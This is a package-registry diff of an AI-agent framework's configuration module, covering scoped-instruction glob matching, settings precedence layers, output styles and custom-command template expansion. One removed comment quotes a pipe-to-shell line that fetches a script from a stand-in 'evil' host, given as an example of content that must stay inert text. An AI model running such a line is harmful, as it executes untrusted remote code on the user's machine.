@theokit/agents 13.0.0-next.9 → 13.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +1821 -0
- package/README.md +31 -0
- package/dist/{agent-compiler-DZorqtK2.d.ts → agent-compiler-B_Z3OZel.d.ts} +196 -194
- package/dist/ask.d.ts +1 -0
- package/dist/auth.d.ts +175 -1
- package/dist/auth.js +94 -0
- package/dist/auth.js.map +1 -1
- package/dist/{bridge-entry-B0FqqPlt.d.ts → bridge-entry-vzdHNu_x.d.ts} +72 -6
- package/dist/bridge.d.ts +6 -4
- package/dist/bridge.js +9 -4
- package/dist/{chunk-TZCHACY7.js → chunk-AAW4I45J.js} +118 -18
- package/dist/chunk-AAW4I45J.js.map +1 -0
- package/dist/{chunk-6WFRR24F.js → chunk-HBHZV3KL.js} +566 -342
- package/dist/chunk-HBHZV3KL.js.map +1 -0
- package/dist/chunk-M5DRNOIU.js +109 -0
- package/dist/chunk-M5DRNOIU.js.map +1 -0
- package/dist/chunk-M5J3Q6YC.js +17 -0
- package/dist/chunk-M5J3Q6YC.js.map +1 -0
- package/dist/{chunk-RKWCXVYG.js → chunk-MJ6FRILJ.js} +67 -5
- package/dist/chunk-MJ6FRILJ.js.map +1 -0
- package/dist/{chunk-LPS65NGG.js → chunk-PMMOOXR6.js} +33 -10
- package/dist/chunk-PMMOOXR6.js.map +1 -0
- package/dist/chunk-U72XTMYB.js +7 -0
- package/dist/chunk-U72XTMYB.js.map +1 -0
- package/dist/client-react.d.ts +1 -0
- package/dist/client.d.ts +1 -0
- package/dist/config.d.ts +205 -36
- package/dist/config.js +221 -18
- package/dist/config.js.map +1 -1
- package/dist/{define-agent-D9b3h3VU.d.ts → define-agent-Cm7UGHx-.d.ts} +27 -3
- package/dist/{delegation-scoring-MbnqL68u.d.ts → delegation-scoring-195_ROT3.d.ts} +14 -2
- package/dist/hooks.d.ts +0 -32
- package/dist/hooks.js +42 -14
- package/dist/hooks.js.map +1 -1
- package/dist/index.d.ts +191 -16
- package/dist/index.js +43 -5
- package/dist/index.js.map +1 -1
- package/dist/sandbox.js.map +1 -1
- package/dist/setting-sources-gate-DFu51i50.d.ts +278 -0
- package/dist/testing.d.ts +5 -2
- package/dist/testing.js +1 -1
- package/dist/tools.d.ts +4 -2
- package/dist/tools.js +22 -4
- package/dist/tools.js.map +1 -1
- package/dist/usage.d.ts +30 -0
- package/dist/usage.js +3 -0
- package/dist/usage.js.map +1 -1
- package/package.json +3 -3
- package/dist/chunk-6WFRR24F.js.map +0 -1
- package/dist/chunk-LPS65NGG.js.map +0 -1
- package/dist/chunk-RKWCXVYG.js.map +0 -1
- package/dist/chunk-TZCHACY7.js.map +0 -1
package/dist/config.d.ts
CHANGED
|
@@ -1,6 +1,8 @@
|
|
|
1
1
|
import { TheokitAgentError } from '@theokit/sdk/errors';
|
|
2
2
|
import { z } from 'zod';
|
|
3
|
-
import { TrustPosture } from '@theokit/sdk';
|
|
3
|
+
import { TrustPosture, LayerValues } from '@theokit/sdk';
|
|
4
|
+
export { DeclaredLayer, LayerValues } from '@theokit/sdk';
|
|
5
|
+
import { R as ResolvedCompatSource } from './setting-sources-gate-DFu51i50.js';
|
|
4
6
|
export { resolveEffectiveContextWindow as effectiveContextWindow } from '@theokit/sdk/compaction';
|
|
5
7
|
|
|
6
8
|
/**
|
|
@@ -285,6 +287,32 @@ interface InstructionBlock {
|
|
|
285
287
|
*/
|
|
286
288
|
readonly scopesUnreadable: boolean;
|
|
287
289
|
}
|
|
290
|
+
/**
|
|
291
|
+
* Does a block's `paths:` scope cover this file?
|
|
292
|
+
*
|
|
293
|
+
* `scopes` shipped without this, and the gap was not cosmetic: the field's own docblock names the
|
|
294
|
+
* consequence of getting it wrong — a rule written for one subtree applied EVERYWHERE, silently —
|
|
295
|
+
* and then hands the decision to the product. Delegating the DECISION is deliberate and unchanged.
|
|
296
|
+
* What was missing is the MEANS: no glob matcher existed anywhere in this package, so a consumer who
|
|
297
|
+
* wanted to honour a scope had to invent the semantics, and two consumers would invent two.
|
|
298
|
+
*
|
|
299
|
+
* `scopesUnreadable` answers FALSE, whatever the path. That is the fail-closed half the flag was
|
|
300
|
+
* invented for: a `paths:` that was declared and yielded nothing must not read as "no scope
|
|
301
|
+
* declared", because those two are indistinguishable in `scopes` alone and only one of them is safe
|
|
302
|
+
* to publish everywhere.
|
|
303
|
+
*
|
|
304
|
+
* ## What this supports, and what it refuses to guess
|
|
305
|
+
*
|
|
306
|
+
* `**` (crosses separators), `*` (does not), and `?` (one character) — the same three the SDK's own
|
|
307
|
+
* rule activation implements. Brace expansion `{a,b}` and character classes `[abc]` are NOT
|
|
308
|
+
* supported: a pattern using them matches literally and therefore almost certainly not at all.
|
|
309
|
+
*
|
|
310
|
+
* That is a deliberate floor rather than a step toward a glob library. Three wildcards are a dozen
|
|
311
|
+
* lines; a dependency for them carries a transitive tree into a package whose direct dependencies
|
|
312
|
+
* number three. If a caller needs the fuller grammar, that is a decision to make out loud — adding
|
|
313
|
+
* it quietly here would leave two half-grammars in one ecosystem.
|
|
314
|
+
*/
|
|
315
|
+
declare function blockAppliesTo(block: Pick<InstructionBlock, 'scopes' | 'scopesUnreadable'>, filePath: string): boolean;
|
|
288
316
|
interface InstructionTreeBudget {
|
|
289
317
|
/** How deep below each root to descend. */
|
|
290
318
|
readonly maxDepth: number;
|
|
@@ -400,6 +428,16 @@ interface ComposedInstructions {
|
|
|
400
428
|
*/
|
|
401
429
|
declare function composeInstructions(base: string, sources: readonly InstructionSource[], options: ComposeInstructionsOptions): ComposedInstructions;
|
|
402
430
|
|
|
431
|
+
/**
|
|
432
|
+
* The narrowed half of `ResolvedCompatSource`, split out because the union's other half is the
|
|
433
|
+
* string literal `'claude-code'` — and `string | 'claude-code'` collapses to `string`, which would
|
|
434
|
+
* make the object arm unreachable to the type system.
|
|
435
|
+
*
|
|
436
|
+
* Its `kind` is that one literal today, so the loader below does not re-check it. A second foreign
|
|
437
|
+
* dialect would widen it, and would have to revisit `COMPAT_COMMANDS_DIR` in the same breath: the
|
|
438
|
+
* directory this reads is `.claude/`, not "whichever dialect asked".
|
|
439
|
+
*/
|
|
440
|
+
type NarrowedCompatSource = Exclude<ResolvedCompatSource, string>;
|
|
403
441
|
/**
|
|
404
442
|
* M76 — load custom commands from `.theokit/commands/`.
|
|
405
443
|
*
|
|
@@ -477,7 +515,7 @@ interface LoadCustomCommandsInput {
|
|
|
477
515
|
* command is a prompt that runs on the operator's behalf, and this directory is usually written
|
|
478
516
|
* for a different product and arrives with the repository.
|
|
479
517
|
*/
|
|
480
|
-
readonly compatSources?: readonly string[];
|
|
518
|
+
readonly compatSources?: readonly (string | NarrowedCompatSource)[];
|
|
481
519
|
readonly builtinNames?: readonly string[];
|
|
482
520
|
/** Where a shadow, a duplicate, or a malformed file is reported. */
|
|
483
521
|
readonly onWarn?: (message: string) => void;
|
|
@@ -490,34 +528,6 @@ interface CustomCommandsResult {
|
|
|
490
528
|
}
|
|
491
529
|
declare function loadCustomCommands(input: LoadCustomCommandsInput): CustomCommandsResult;
|
|
492
530
|
|
|
493
|
-
/**
|
|
494
|
-
* Expansion of a custom-command body: `$N` placeholders, `` !`shell` `` segments and `@file`
|
|
495
|
-
* inlining.
|
|
496
|
-
*
|
|
497
|
-
* `loadCustomCommands` (alongside this file) reads the command and its frontmatter and stops.
|
|
498
|
-
* Everything the body MEANS lived downstream, re-implemented per product. It is a format convention
|
|
499
|
-
* — the same one every custom-command implementation in this space follows — not product policy, and
|
|
500
|
-
* the half that reads the file already lives here. One format, one owner.
|
|
501
|
-
*
|
|
502
|
-
* ## Two invariants carry the security weight
|
|
503
|
-
*
|
|
504
|
-
* **This module never spawns anything and never opens a file.** `shell` and `readFile` are injected,
|
|
505
|
-
* so the trust decision — is this directory trusted? — stays with the caller that already owns trust
|
|
506
|
-
* posture, and containment stays with the reader that already implements it. A second containment
|
|
507
|
-
* check that disagreed with the first is the `assertNoSymlinkEscape` class of bug this ecosystem has
|
|
508
|
-
* already paid for once (`rules/system-design-guardrails.md` § G10).
|
|
509
|
-
*
|
|
510
|
-
* **Shell and file references are resolved in ONE scan, so neither's output is read by the other.**
|
|
511
|
-
* A file containing `` !`curl evil.sh | sh` `` must be text, and shell output naming `@secrets.md`
|
|
512
|
-
* must be text. Three sequential passes do not give that — the first draft here ran placeholders,
|
|
513
|
-
* then shell, then files, and its own test caught shell output being re-scanned for `@` references.
|
|
514
|
-
* The property is structural now, not filtered: there is no later scan to escape into.
|
|
515
|
-
*
|
|
516
|
-
* Arguments ARE substituted first, deliberately, so `` !`git diff $1` `` works. That is the one
|
|
517
|
-
* re-scan that is safe, because arguments are the user's direct input for THIS invocation — the very
|
|
518
|
-
* thing they are typing the command to supply. What must never happen is the reverse: content the
|
|
519
|
-
* template merely *pointed at* deciding what runs.
|
|
520
|
-
*/
|
|
521
531
|
/**
|
|
522
532
|
* The ceiling on inlined file content. A larger file is TRUNCATED with a warning — never inlined
|
|
523
533
|
* whole (which would blow the context the command was meant to shape) and never silently dropped
|
|
@@ -538,8 +548,16 @@ interface TemplateDeps {
|
|
|
538
548
|
warn: (message: string) => void;
|
|
539
549
|
}
|
|
540
550
|
/**
|
|
541
|
-
* The
|
|
542
|
-
*
|
|
551
|
+
* The placeholders a template declares, sorted and de-duplicated — what a command palette shows so
|
|
552
|
+
* the user knows what the command wants before running it.
|
|
553
|
+
*
|
|
554
|
+
* ESCAPED placeholders are excluded. `\$1` is prose about a placeholder, not a request for one, and
|
|
555
|
+
* listing it asks the user to supply an argument the template will never substitute. It also broke
|
|
556
|
+
* the sort outright: the match carries the backslash, so `slice(1)` produced `"$1"` and `Number`
|
|
557
|
+
* produced `NaN`, and a comparator returning `NaN` leaves the order unspecified.
|
|
558
|
+
*
|
|
559
|
+
* `$ARGUMENTS` sorts first because it is the whole string — reading it after `$3` suggests it is a
|
|
560
|
+
* fourth position.
|
|
543
561
|
*/
|
|
544
562
|
declare function templateHints(template: string): string[];
|
|
545
563
|
/**
|
|
@@ -550,12 +568,163 @@ declare function templateHints(template: string): string[];
|
|
|
550
568
|
* which file is read. Running the other two first would let a file's contents decide what to
|
|
551
569
|
* execute.
|
|
552
570
|
*
|
|
553
|
-
*
|
|
554
|
-
*
|
|
555
|
-
* that
|
|
571
|
+
* Throws in exactly two cases, both of which produce NO prompt rather than a wrong one: a fenced
|
|
572
|
+
* ```` ```! ```` block (never executed, previously passed through as markdown) and an injected
|
|
573
|
+
* command that failed (the spec aborts the invocation). Everything else — a missing `@file`, an
|
|
574
|
+
* out-of-range `$N`, an oversized file — still produces a usable prompt with a warning naming what
|
|
575
|
+
* did not resolve, which is more useful than discarding the whole body.
|
|
576
|
+
*
|
|
577
|
+
* The line between the two is what the template CAUSED versus what it POINTED at.
|
|
556
578
|
*/
|
|
557
579
|
declare function expandCommandTemplate(template: string, rawArgs: string, deps: TemplateDeps): Promise<string>;
|
|
558
580
|
|
|
581
|
+
/**
|
|
582
|
+
* B-067 — the settings precedence stack, NAMED.
|
|
583
|
+
*
|
|
584
|
+
* `@theokit/sdk` ships the mechanism and deliberately not the vocabulary: `foldLayers` folds an
|
|
585
|
+
* array of `{ layer, precedence?, values }`, `verifyLayerOrdering` refuses a chain that contradicts
|
|
586
|
+
* itself, and `DeclaredLayer.layer` is a free-form `string` whose `precedence` is optional. That is
|
|
587
|
+
* the right shape for a library — it cannot know what layers a consumer has — and it leaves one
|
|
588
|
+
* thing undecided that two consumers must agree on: WHICH layers exist, and in what order.
|
|
589
|
+
*
|
|
590
|
+
* Until this file, they did not agree, and nothing could tell. Two products could each invent their
|
|
591
|
+
* own names and numbers, fold in opposite orders, and both pass `verifyLayerOrdering`, because a
|
|
592
|
+
* chain is only checked against itself. B-026 named three levels — managed settings above the
|
|
593
|
+
* project file above `defineAgent()` — for the four keys the operator policy carries; a consumer
|
|
594
|
+
* implementing a fifth key had nothing to consult and invented an order that type-checked.
|
|
595
|
+
*
|
|
596
|
+
* ## The order, and where it comes from
|
|
597
|
+
*
|
|
598
|
+
* The five file levels and their order are the format's, measured against
|
|
599
|
+
* <https://code.claude.com/docs/en/settings> on 2026-09-11 (highest first there, lowest first here):
|
|
600
|
+
* managed settings, command line, project local, shared project, user. `code` is added below all of
|
|
601
|
+
* them and is ours: a value passed to `defineAgent()` is the weakest thing in the system, because
|
|
602
|
+
* every file above it is editable by a human who did not write the code and is answerable for what
|
|
603
|
+
* the agent does on their machine.
|
|
604
|
+
*
|
|
605
|
+
* That ordering is the whole operator tier in one line. Reversing any pair of it — letting a project
|
|
606
|
+
* file outrank managed settings, or code outrank a file — turns the tier into a suggestion.
|
|
607
|
+
*
|
|
608
|
+
* ## Why this is here and not in the SDK
|
|
609
|
+
*
|
|
610
|
+
* Same reason as `operator-policy.ts` beside it: this package depends on a PUBLISHED
|
|
611
|
+
* `@theokit/sdk`, so a symbol added to that package's source is not importable here until somebody
|
|
612
|
+
* cuts a release. The names and the order are the contract, and they are stated where the consumer
|
|
613
|
+
* that needs them can reach them today. What must not drift is the ORDER, which is the format's and
|
|
614
|
+
* not ours to change.
|
|
615
|
+
*/
|
|
616
|
+
|
|
617
|
+
/**
|
|
618
|
+
* Every layer that can supply a setting, named.
|
|
619
|
+
*
|
|
620
|
+
* A union rather than a string, so adding one is a compile-time event everywhere a layer is handled
|
|
621
|
+
* — the property `DeclaredLayer.layer: string` cannot give, and the reason this file exists.
|
|
622
|
+
*/
|
|
623
|
+
type SettingsLayer =
|
|
624
|
+
/** Values passed to `defineAgent()` / the builder. The weakest: code loses to every file. */
|
|
625
|
+
'code'
|
|
626
|
+
/** `~/.claude/settings.json` — you, in every project. */
|
|
627
|
+
| 'user'
|
|
628
|
+
/** `.claude/settings.json` — everyone in the project. */
|
|
629
|
+
| 'project-shared'
|
|
630
|
+
/** `.claude/settings.local.json` — you, in this project. */
|
|
631
|
+
| 'project-local'
|
|
632
|
+
/** `claude --settings` — you, in this session. */
|
|
633
|
+
| 'command-line'
|
|
634
|
+
/** `managed-settings.json`, MDM, or the console. Your organisation. A project cannot widen it. */
|
|
635
|
+
| 'managed';
|
|
636
|
+
/**
|
|
637
|
+
* The FILE layers, lowest precedence first — the array `foldLayers` is given.
|
|
638
|
+
*
|
|
639
|
+
* `code` is deliberately absent: it is not a settings file, it is the value the caller passed, and a
|
|
640
|
+
* chain that folded it as a peer would invite somebody to place it above one. {@link settingsLayerChain}
|
|
641
|
+
* puts it at the bottom, which is the only position it has.
|
|
642
|
+
*
|
|
643
|
+
* The numbers are spaced by ten so a level can be inserted between two without renumbering the
|
|
644
|
+
* stack — a renumber is exactly the kind of edit that silently reorders a fold somewhere else.
|
|
645
|
+
*/
|
|
646
|
+
declare const SETTINGS_LAYERS: readonly [{
|
|
647
|
+
readonly layer: "user";
|
|
648
|
+
readonly precedence: 10;
|
|
649
|
+
}, {
|
|
650
|
+
readonly layer: "project-shared";
|
|
651
|
+
readonly precedence: 20;
|
|
652
|
+
}, {
|
|
653
|
+
readonly layer: "project-local";
|
|
654
|
+
readonly precedence: 30;
|
|
655
|
+
}, {
|
|
656
|
+
readonly layer: "command-line";
|
|
657
|
+
readonly precedence: 40;
|
|
658
|
+
}, {
|
|
659
|
+
readonly layer: "managed";
|
|
660
|
+
readonly precedence: 50;
|
|
661
|
+
}];
|
|
662
|
+
/**
|
|
663
|
+
* Compile-time exhaustiveness: a layer added to {@link SettingsLayer} without a position here makes
|
|
664
|
+
* this line fail to compile.
|
|
665
|
+
*
|
|
666
|
+
* The same gate `capability-zero-behavior.test.ts` puts on the compiled-options waist, for the same
|
|
667
|
+
* reason — a new member that nobody placed is a member somebody will place at random, once, in the
|
|
668
|
+
* file where they happened to need it.
|
|
669
|
+
*/
|
|
670
|
+
type Positioned = (typeof SETTINGS_LAYERS)[number]['layer'] | 'code';
|
|
671
|
+
type _Exhaustive = Exclude<SettingsLayer, Positioned> extends never ? true : ['unpositioned settings layer'];
|
|
672
|
+
declare const LAYERS_ARE_POSITIONED: _Exhaustive;
|
|
673
|
+
/** The precedence of a layer. Higher wins. */
|
|
674
|
+
declare function layerPrecedence(layer: SettingsLayer): number;
|
|
675
|
+
/**
|
|
676
|
+
* Build the `foldLayers` input from values keyed by layer name.
|
|
677
|
+
*
|
|
678
|
+
* Sorted by declared precedence rather than by the object's key order, because an object literal's
|
|
679
|
+
* order is the author's typing order and folding by it would make precedence depend on where
|
|
680
|
+
* somebody happened to add a line. Layers with no values are omitted: a layer that supplies nothing
|
|
681
|
+
* and a layer that does not exist fold identically, and inventing an empty entry for the first would
|
|
682
|
+
* make the chain longer without making it truer.
|
|
683
|
+
*/
|
|
684
|
+
declare function settingsLayerChain(values: Partial<Record<SettingsLayer, Readonly<Record<string, unknown>>>>): LayerValues[];
|
|
685
|
+
|
|
686
|
+
/**
|
|
687
|
+
* A style was named and could not be read.
|
|
688
|
+
*
|
|
689
|
+
* Typed, and carrying the directories it searched, because the whole point of the refusal is that
|
|
690
|
+
* the author learns WHICH lookup failed. `error-handling.md` § 2: fail fast, fail clear.
|
|
691
|
+
*/
|
|
692
|
+
declare class OutputStyleError extends TheokitAgentError {
|
|
693
|
+
readonly name = "OutputStyleError";
|
|
694
|
+
constructor(message: string);
|
|
695
|
+
}
|
|
696
|
+
interface OutputStyle {
|
|
697
|
+
/** The filename without `.md` — what `outputStyle` in settings refers to. */
|
|
698
|
+
readonly name: string;
|
|
699
|
+
/** The body, which becomes a section of the system prompt. */
|
|
700
|
+
readonly content: string;
|
|
701
|
+
/** The `description` frontmatter key, when present. */
|
|
702
|
+
readonly description?: string;
|
|
703
|
+
/**
|
|
704
|
+
* `keep-coding-instructions: true` in frontmatter.
|
|
705
|
+
*
|
|
706
|
+
* The field with teeth. A style REPLACES the built-in software-engineering instructions by
|
|
707
|
+
* default, so a consumer who does not know that loses them without being told. Carried here so
|
|
708
|
+
* the decision belongs to the caller rather than to whoever wrote the style file.
|
|
709
|
+
*/
|
|
710
|
+
readonly keepCodingInstructions: boolean;
|
|
711
|
+
}
|
|
712
|
+
interface LoadOutputStyleInput {
|
|
713
|
+
/** The style to load, from `settings.json`'s `outputStyle`. `undefined` means none was asked for. */
|
|
714
|
+
readonly name: string | undefined;
|
|
715
|
+
/** Project root. Its `.claude/output-styles/` wins over the home directory's. */
|
|
716
|
+
readonly cwd: string;
|
|
717
|
+
/** Home directory, for styles that apply across every project. Omit to search the project only. */
|
|
718
|
+
readonly homeDir?: string;
|
|
719
|
+
}
|
|
720
|
+
/**
|
|
721
|
+
* The named style, or `undefined` when none was requested.
|
|
722
|
+
*
|
|
723
|
+
* @throws OutputStyleError when a style IS named and no file backs it, listing the directories that
|
|
724
|
+
* were searched.
|
|
725
|
+
*/
|
|
726
|
+
declare function loadOutputStyle(input: LoadOutputStyleInput): OutputStyle | undefined;
|
|
727
|
+
|
|
559
728
|
/**
|
|
560
729
|
* Split a markdown file into frontmatter lines and body.
|
|
561
730
|
*
|
|
@@ -645,4 +814,4 @@ declare class ContextPressureThresholdError extends TheokitAgentError {
|
|
|
645
814
|
*/
|
|
646
815
|
declare function contextPressure(usedTokens: number, effectiveWindow: number, thresholds?: ContextPressureThresholds): ContextPressure;
|
|
647
816
|
|
|
648
|
-
export { type ComposeInstructionsOptions, type ComposedInstructions, type ConfigLayer, type ContextPressure, ContextPressureThresholdError, type ContextPressureThresholds, type CustomCommand, type CustomCommandsResult, DEFAULT_CONTEXT_PRESSURE_THRESHOLDS, type ExpandImportsInput, FILE_INLINE_CAP, type InstructionBlock, type InstructionSource, type InstructionTree, type InstructionTreeBudget, LayerOutOfOrderError, LayeredConfig, type LayeredConfigInput, type LayeredConfigResult, type LoadCustomCommandsInput, type LoadInstructionTreeInput, type ParsedFrontmatter, type PrecedenceReport, type ProvenancePerKey, type ShellResult, type TemplateDeps, type TrustRecord, TrustStore, TrustStorePermissionsError, composeInstructions, contextPressure, expandCommandTemplate, expandInstructionImports, frontmatterValue, loadCustomCommands, loadInstructionTree, splitFrontmatter, templateHints };
|
|
817
|
+
export { type ComposeInstructionsOptions, type ComposedInstructions, type ConfigLayer, type ContextPressure, ContextPressureThresholdError, type ContextPressureThresholds, type CustomCommand, type CustomCommandsResult, DEFAULT_CONTEXT_PRESSURE_THRESHOLDS, type ExpandImportsInput, FILE_INLINE_CAP, type InstructionBlock, type InstructionSource, type InstructionTree, type InstructionTreeBudget, LAYERS_ARE_POSITIONED, LayerOutOfOrderError, LayeredConfig, type LayeredConfigInput, type LayeredConfigResult, type LoadCustomCommandsInput, type LoadInstructionTreeInput, type LoadOutputStyleInput, type OutputStyle, OutputStyleError, type ParsedFrontmatter, type PrecedenceReport, type ProvenancePerKey, SETTINGS_LAYERS, type SettingsLayer, type ShellResult, type TemplateDeps, type TrustRecord, TrustStore, TrustStorePermissionsError, blockAppliesTo, composeInstructions, contextPressure, expandCommandTemplate, expandInstructionImports, frontmatterValue, layerPrecedence, loadCustomCommands, loadInstructionTree, loadOutputStyle, settingsLayerChain, splitFrontmatter, templateHints };
|
package/dist/config.js
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
import {
|
|
2
2
|
ensureSecureDir
|
|
3
3
|
} from "./chunk-D2EFYZBV.js";
|
|
4
|
+
import {
|
|
5
|
+
currentOperatorPolicy
|
|
6
|
+
} from "./chunk-M5DRNOIU.js";
|
|
7
|
+
import {
|
|
8
|
+
ConfigurationError
|
|
9
|
+
} from "./chunk-U72XTMYB.js";
|
|
4
10
|
import {
|
|
5
11
|
__name
|
|
6
12
|
} from "./chunk-Z4QWC7IK.js";
|
|
@@ -321,6 +327,35 @@ function frontmatterValue(frontmatter, key) {
|
|
|
321
327
|
__name(frontmatterValue, "frontmatterValue");
|
|
322
328
|
|
|
323
329
|
// src/config/instruction-tree.ts
|
|
330
|
+
function blockAppliesTo(block, filePath) {
|
|
331
|
+
if (block.scopesUnreadable) return false;
|
|
332
|
+
if (block.scopes.length === 0) return true;
|
|
333
|
+
return block.scopes.some((scope) => globToRegExp(scope).test(filePath));
|
|
334
|
+
}
|
|
335
|
+
__name(blockAppliesTo, "blockAppliesTo");
|
|
336
|
+
function globToRegExp(scope) {
|
|
337
|
+
let out = "";
|
|
338
|
+
for (let i = 0; i < scope.length; i += 1) {
|
|
339
|
+
const char = scope[i];
|
|
340
|
+
if (char === "*") {
|
|
341
|
+
if (scope[i + 1] === "*") {
|
|
342
|
+
out += ".*";
|
|
343
|
+
i += 1;
|
|
344
|
+
if (scope[i + 1] === "/") i += 1;
|
|
345
|
+
continue;
|
|
346
|
+
}
|
|
347
|
+
out += "[^/]*";
|
|
348
|
+
continue;
|
|
349
|
+
}
|
|
350
|
+
if (char === "?") {
|
|
351
|
+
out += "[^/]";
|
|
352
|
+
continue;
|
|
353
|
+
}
|
|
354
|
+
out += char.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
355
|
+
}
|
|
356
|
+
return new RegExp(`^${out}$`);
|
|
357
|
+
}
|
|
358
|
+
__name(globToRegExp, "globToRegExp");
|
|
324
359
|
var DEFAULT_FILE_NAMES = [
|
|
325
360
|
"THEO.md",
|
|
326
361
|
"AGENTS.md"
|
|
@@ -529,19 +564,61 @@ function composeInstructions(base, sources, options) {
|
|
|
529
564
|
__name(composeInstructions, "composeInstructions");
|
|
530
565
|
|
|
531
566
|
// src/config/custom-commands.ts
|
|
532
|
-
import { readFileSync as readFileSync4, readdirSync as
|
|
533
|
-
import { extname, join as
|
|
534
|
-
|
|
535
|
-
|
|
567
|
+
import { readFileSync as readFileSync4, readdirSync as readdirSync3, statSync as statSync3 } from "fs";
|
|
568
|
+
import { extname, join as join3, relative as relative2 } from "path";
|
|
569
|
+
|
|
570
|
+
// src/bridge/unloaded-surfaces.ts
|
|
571
|
+
import { existsSync as existsSync3, readdirSync as readdirSync2 } from "fs";
|
|
572
|
+
import { join as join2 } from "path";
|
|
573
|
+
var WORKFLOWS_DIR = join2(".claude", "workflows");
|
|
574
|
+
var SCRIPT_SUFFIXES = [
|
|
575
|
+
".js",
|
|
576
|
+
".mjs",
|
|
577
|
+
".cjs"
|
|
578
|
+
];
|
|
579
|
+
function reportUnloadedSurfaces(input) {
|
|
580
|
+
const dir = join2(input.cwd, WORKFLOWS_DIR);
|
|
581
|
+
if (!existsSync3(dir)) return;
|
|
582
|
+
let scripts;
|
|
583
|
+
try {
|
|
584
|
+
scripts = readdirSync2(dir).filter((f) => SCRIPT_SUFFIXES.some((s) => f.endsWith(s)));
|
|
585
|
+
} catch {
|
|
586
|
+
return;
|
|
587
|
+
}
|
|
588
|
+
if (scripts.length === 0) return;
|
|
589
|
+
input.onWarn(`${WORKFLOWS_DIR}: found ${String(scripts.length)} workflow script(s) \u2014 ${[
|
|
590
|
+
...scripts
|
|
591
|
+
].sort((a, b) => a.localeCompare(b)).join(", ")} \u2014 which this runtime does NOT execute. Every configuration surface it loads is data (commands, hooks, plugins, skills, subagents); a workflow file is code, and executing JavaScript found under a caller-supplied directory is a trust decision that belongs to you rather than to this library. The orchestration itself is supported: build the same pipeline with Workflow / agentStep / createSquad from @theokit/sdk, which you import explicitly.`);
|
|
592
|
+
}
|
|
593
|
+
__name(reportUnloadedSurfaces, "reportUnloadedSurfaces");
|
|
594
|
+
|
|
595
|
+
// src/config/custom-commands.ts
|
|
596
|
+
var COMMANDS_DIR = join3(".theokit", "commands");
|
|
597
|
+
var COMPAT_COMMANDS_DIR = join3(".claude", "commands");
|
|
536
598
|
var CLAUDE_CODE_SOURCE = "claude-code";
|
|
537
599
|
var IGNORE_WARNING3 = /* @__PURE__ */ __name(() => void 0, "IGNORE_WARNING");
|
|
600
|
+
function declaresCommands(sources) {
|
|
601
|
+
return sources?.some((source) => typeof source === "string" ? source === CLAUDE_CODE_SOURCE : source.import.includes("commands")) === true;
|
|
602
|
+
}
|
|
603
|
+
__name(declaresCommands, "declaresCommands");
|
|
604
|
+
function declaresClaudeCode(sources) {
|
|
605
|
+
return sources?.some((source) => (
|
|
606
|
+
// The narrowed form IS a declaration of this dialect by construction — its `kind` is the one
|
|
607
|
+
// literal, which is why `declaresCommands` does not re-check it either and why the
|
|
608
|
+
// `NarrowedCompatSource` docblock says a second dialect must revisit both. Comparing it here
|
|
609
|
+
// would be a runtime check the type already makes, and `no-unnecessary-condition` is right
|
|
610
|
+
// about that: the type is not lying, there is exactly one dialect.
|
|
611
|
+
typeof source !== "string" || source === CLAUDE_CODE_SOURCE
|
|
612
|
+
)) === true;
|
|
613
|
+
}
|
|
614
|
+
__name(declaresClaudeCode, "declaresClaudeCode");
|
|
538
615
|
function projectCommandDirs(input) {
|
|
539
616
|
if (input.projectDir === void 0) return [];
|
|
540
617
|
const dirs = [];
|
|
541
|
-
if (input.compatSources
|
|
542
|
-
dirs.push(
|
|
618
|
+
if (declaresCommands(input.compatSources)) {
|
|
619
|
+
dirs.push(join3(input.projectDir, COMPAT_COMMANDS_DIR));
|
|
543
620
|
}
|
|
544
|
-
dirs.push(
|
|
621
|
+
dirs.push(join3(input.projectDir, COMMANDS_DIR));
|
|
545
622
|
return dirs;
|
|
546
623
|
}
|
|
547
624
|
__name(projectCommandDirs, "projectCommandDirs");
|
|
@@ -567,8 +644,14 @@ __name(mergeProjectCommands, "mergeProjectCommands");
|
|
|
567
644
|
function loadCustomCommands(input) {
|
|
568
645
|
const warn = input.onWarn ?? IGNORE_WARNING3;
|
|
569
646
|
const loaded = /* @__PURE__ */ new Map();
|
|
647
|
+
if (input.projectDir !== void 0 && declaresClaudeCode(input.compatSources)) {
|
|
648
|
+
reportUnloadedSurfaces({
|
|
649
|
+
cwd: input.projectDir,
|
|
650
|
+
onWarn: warn
|
|
651
|
+
});
|
|
652
|
+
}
|
|
570
653
|
if (input.homeDir !== void 0) {
|
|
571
|
-
for (const command of readCommandsDir(
|
|
654
|
+
for (const command of readCommandsDir(join3(input.homeDir, COMMANDS_DIR), "user", warn)) {
|
|
572
655
|
loaded.set(command.name, command);
|
|
573
656
|
}
|
|
574
657
|
}
|
|
@@ -597,14 +680,14 @@ __name(byProjectThenName, "byProjectThenName");
|
|
|
597
680
|
function readCommandsDir(dir, source, warn, root = dir) {
|
|
598
681
|
let entries;
|
|
599
682
|
try {
|
|
600
|
-
entries =
|
|
683
|
+
entries = readdirSync3(dir);
|
|
601
684
|
} catch {
|
|
602
685
|
return [];
|
|
603
686
|
}
|
|
604
687
|
entries.sort((a, b) => a.localeCompare(b));
|
|
605
688
|
const commands = [];
|
|
606
689
|
for (const entry of entries) {
|
|
607
|
-
const path =
|
|
690
|
+
const path = join3(dir, entry);
|
|
608
691
|
let stats;
|
|
609
692
|
try {
|
|
610
693
|
stats = statSync3(path);
|
|
@@ -652,8 +735,9 @@ function parseCommandFile(path, entry, source, warn) {
|
|
|
652
735
|
__name(parseCommandFile, "parseCommandFile");
|
|
653
736
|
|
|
654
737
|
// src/config/command-template.ts
|
|
655
|
-
var PLACEHOLDER_REGEX =
|
|
656
|
-
var REFERENCE_REGEX =
|
|
738
|
+
var PLACEHOLDER_REGEX = /(\\)?\$(ARGUMENTS\b|\d+)/g;
|
|
739
|
+
var REFERENCE_REGEX = /(?<!\S)!`(?<cmd>[^`]+)`|(?<!\S)@(?<file>[^\s`,]*[^\s`,.])/g;
|
|
740
|
+
var FENCED_COMMAND_REGEX = /^```!\s*$/m;
|
|
657
741
|
var ARGS_REGEX = /(?:\[Image\s+\d+]|"[^"]*"|'[^']*'|[^\s"']+)/gi;
|
|
658
742
|
var QUOTE_TRIM_REGEX = /^["']|["']$/g;
|
|
659
743
|
var FILE_INLINE_CAP = 64 * 1024;
|
|
